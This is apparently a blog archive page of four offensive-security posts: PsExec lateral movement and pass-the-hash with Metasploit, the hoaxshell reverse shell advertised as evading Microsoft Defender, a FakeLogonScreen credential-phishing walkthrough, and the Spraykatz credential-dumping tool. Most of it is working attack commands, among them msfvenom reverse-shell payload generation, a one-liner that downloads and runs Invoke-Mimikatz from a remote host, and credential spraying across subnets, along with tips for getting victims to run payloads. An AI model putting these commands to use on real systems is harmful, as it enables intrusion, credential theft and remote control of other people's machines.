windows Archives - Tech Chronicles

Windows Red Team Lateral Movement With PsExec

Majordomo — Wed, 21 Feb 2024 23:26:36 +0000

How to perform Lateral movement on Windows targets

Prerequisites & Requirements

In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:

Kali Linux
Parrot OS

The following is a list of recommended technical prerequisites that you will need in order to get the most out of this technique:

Familiarity with Linux system administration.
Familiarity with Windows.
Functional knowledge of TCP/IP.
Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux Virtual Machine

MITRE ATT&CK Lateral Movement Techniques

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

The following is a list of key techniques and sub-techniques that we will be exploring:

Remote Services
Alternate Authentication

Our objective is to utilize clear-text passwords and hashes that we extracted to facilitate lateral movement through legitimate authentication protocols/methods.

Lateral Movement With PsExec

PsExec is a lightweight telnet replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.

We can use the PsExec utility to authenticate with the target system legitimately and run arbitrary commands or launch a remote command prompt.

We will be running PsExec from our Windows VM as you may encounter a few issues when running PsExec on Linux with Wine.

Note: We will be utilizing the credentials we extracted from the Windows 10 target system in the Credential Access Video.

You can download PsExec from the following link: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

After downloading PsTools archive, you will need to extract it and open a Windows command prompt in the extracted folder.

We can execute a command on the target system with PsExec by specifying the computer name/IP address, username, and password. This can be done by running the following command:

./PsExec64.exe \\ -u Administrator -p  ipconfig

In this case, we will execute the ipconfig command on the target system in order to verify that we can authenticate successfully with PsExec.

As highlighted in the preceding screenshot, PsExec authenticates with the target system, executes the ipconfig, and provides us with the output of the command.

Alternatively, we can also initiate a remote command prompt session with the target system by running the following command:

./PsExec64.exe \\ -u Administrator -p  cmd.exe

As highlighted in the following screenshot, we are able to authenticate successfully and obtain a remote command shell session on the target system.

We can now utilize the remote command session to scan and ping for other hosts on the network that we can pivot to.

Pass-the-Hash With PsExec

If you weren’t able to extract any cleartext passwords from the target system, you can utilize the pass-the-hash Metasploit module that leverages PsExec in order to authenticate with SMB (Server Message Block) using a user account’s NTLM hash.

Pass-the-hash is a technique that is used by attackers to authenticate to a remote host by using the underlying NTLM or LanMan hash of a user’s password, instead of requiring the associated plaintext password.

For this section, our target system will be running Windows 10. As a prerequisite, ensure that you have gained your initial foothold on the system and have a meterpreter session

The first step will involve loading the SMB PsExec Metasploit module, this can be done by running the following command on the Kali terminal:

msf> use exploit/windows/smb/psexec

After loading the module, you will need to configure the module payload, this can be done by running the following command:

msf> set payload windows/x64/meterpreter/reverse_tcp

You will also need to set the SMBPass and SMBUser options with the NTLM hash and name of the user account. This can be done by running the following commands:

msf> set SMBUser

Note: In this case, we will be setting the “SMBUser” option to “Administrator”.

msf> set SMBPass

Finally, you will need to set the target system IP address, this can be done by running the following command:

msf> set RHOSTS

After configuring the options, we can execute the module by running the following command:

msf> run

If authentication is successful, you should receive a new meterpreter session with the privileges of the user you authenticated with as shown in the screenshot below.

The post Windows Red Team Lateral Movement With PsExec appeared first on Tech Chronicles.

hoaxshell – An unconventional Windows reverse shell

Majordomo — Mon, 23 Jan 2023 19:15:12 +0000

Currently undetected by Microsoft Defender and various other AV solutions, solely based on http(s) traffic.

Purpose

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates its own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

More: https://github.com/t3l3machus/hoaxshell

Video Presentation

Screenshots

Find more screenshots here.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Important: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom HTTP header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the -g option to bypass this behavior and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell.

Basic shell session over HTTP

sudo python3 hoaxshell.py -s

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject into the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the “rawpayload” prompt command or start hoaxshell with the -r argument. After the payload has been executed on the victim, you’ll be able to run PowerShell commands against it.

Encrypted shell session (HTTPS):

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s  -c  -k

The generated PowerShell payload will be longer in length because of an additional block of code that disables the SSL certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s  -g

Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (HTTP/HTTPS, port, etc).

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

So, if you for example would like to run mimikatz through hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell PowerShell context.

The post hoaxshell – An unconventional Windows reverse shell appeared first on Tech Chronicles.

How to Hack Windows 10 Passwords Using FakeLogonScreen in Kali Linux

Majordomo — Tue, 27 Oct 2020 19:57:56 +0000

This article demonstrates an in-depth guide on how to hack Windows 10 Passwords using FakeLogonScreen. Hacking Windows 10 password is an exciting topic, so I decided to make this windows hacking tutorial.

I will use FakeLogonScreen and Kali Linux to hack Windows 10 passwords. FakelogonScreen is a handy and stealthy tool that creates a fake Log on-screen on a target machine running Windows 10. This tool enforces the target user to enter the correct credentials and, after getting it, passes it to the backdoor attacker.

Arris Huijgen developed this useful tool, it takes advantage of the normal behavior of the Windows environment, displaying the login screen when it comes out of sleep mode, and asking to enter credentials. At that time, this tool looked for phishing Windows credentials from the target, and the strength of this tool came in when it only accepts the valid credentials.

Steps to Hack Windows 10 Password

Now let’s try this tool and perform the exploit. We need to deploy two virtual machines i.e. Kali Linux and Windows 10. In my virtual lab environment, the Kali (attacking machine) has an IP: 192.168.0.103, and the Windows (target machine) got 192.168.0.100.

Download the FakeLogonScreen in Kali Linux

First, we need to download the FakeLogonScreen executable in our attacking machine from the link:

https://github.com/bitsadmin/fakelogonscreen/releases

Now assume the target machine is connected to the same network as the attacking machine.

Creating the Malicious Payload to Hack Windows

We will create a malicious payload by using msfvenom tool according to the information acquired by the target system. We will set lhost to our Kali’s IP i.e. 192.168.0.103, and set lport as 4444. Since we are interested in exploiting a Windows system, we will generate a payload as an executable file to easily gets it executed on the target machine. Use command:

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.103 lport=4444 -f exe >> payload.exe

Here the ‘payload.exe’ is the name of the generated payload. After that, we will run Python One-liner to create an HTTP server that will host this malicious payload at port 80 of the target machine.

#python -m SimpleHTTPServer 80

Download the Payload on Target Machine

All set now, the most crucial stage came when we have to get the target to download this malicious payload. In real-life scenarios, an attacker can use different social engineering techniques and let the target user to download this malicious file into his system.

For practical demonstration, we will access our Kali’s machine directory from the Windows machine and download the payload.

This will also be showing the current logs in our Kali machine.

Launch Metasploit to Exploit

Let’s get straight back to Kali and launch Metasploit-framework.

Use multi/handler module.

Set the windows/meterpreter/reverse_tcp payload.

Set lhost as our IP i.e. 192.168.0.103 and lport as 4444

After configuring it all, just run the exploit, go back to the Windows machine and run the executable, i.e., ‘payload.exe’. This will quickly get us a meterpreter session.

Upload the Executable

Now upload the FakeLogonScreen executable that we downloaded earlier. Make sure to give it the correct path of the exe file.

>upload /root/Downloads/FakeLogonScreen.exe

After that, get the shell access and run FakeLogonScreen.exe as showing below:

And BOOM!! At the target machine, all the running windows would get closed, and the logon screen would pop up, asking the credentials and appears it as a legitimate window. The user would not hesitate for a second to enter his credentials and get his work back.

To check the strength of this tool, we will be entering the wrong password.

And this will show the error “The password is incorrect, try again.” This is the strength of FakeLogonScreen tool that enforces a target to enter his correct password. The user has no choice other than that to enter his password.

Let’s enter the correct password, and you will get your standard window as nothing happened before.

This also showing the FakeLogonScreen works similar to a keylogger. The attacker would easily monitor all the logs and could grab the correct password of the target user.

Some Useful Information

This tool could also work effectively on multiple desktop systems. While running it on various desktops, all the affected screens turn black immediately after executing the exploit from the attacking machine. This works even if the target user has set a customized background.

The zip file of the exploit also includes another executable named “FakeLogonScreenToFile.exe” that works the same as the previous executable. Still, it has some extra features i.e., not only showing the password but also stores it in a file %LOCALAPPDATA%\Microsoft\user.db.

This tool can also be integrated with Cobalt Strike to work effectively.

The post How to Hack Windows 10 Passwords Using FakeLogonScreen in Kali Linux appeared first on Tech Chronicles.

Spraykatz – Retrieve Credentials On Windows and Active Directory

Majordomo — Thu, 26 Dec 2019 10:37:09 +0000

Spraykatz is a tool without any pretention able to retrieve credentials on Windows machines and large Active Directory environments.
It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Installation
This tool is written for python>=3. Do not use this on production environments!

Ubuntu
On a fresh updated Ubuntu.

apt update
apt install -y python3.6 python3-pip git nmap
git clone --recurse-submodules https://github.com/aas-n/spraykatz.git
cd spraykatz
pip3 install -r requirements.txt

Using Spraykatz
A quick start could be:

./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Mandatory arguments

Switches	Description
-u, –username	User to spray with. He must have admin rights on targeted systems in order to gain remote code execution.
-p, –password	User’s password or NTLM hash in the `LM:NT` format.
-t, –targets	IP addresses and/or IP address ranges. You can submit them via a file of targets (one target per line), or inline (separated by commas).

Optional arguments

Switches	Description
-d, –domain	User’s domain. If he is not member of a domain, simply use `-d .` instead.
-v, –verbosity	Verbosity mode {warning, info, debug}. Default == info.

Acknowlegments
Spraykatz uses slighlty modified parts of the following projects:

Download Spraykatz

The post Spraykatz – Retrieve Credentials On Windows and Active Directory appeared first on Tech Chronicles.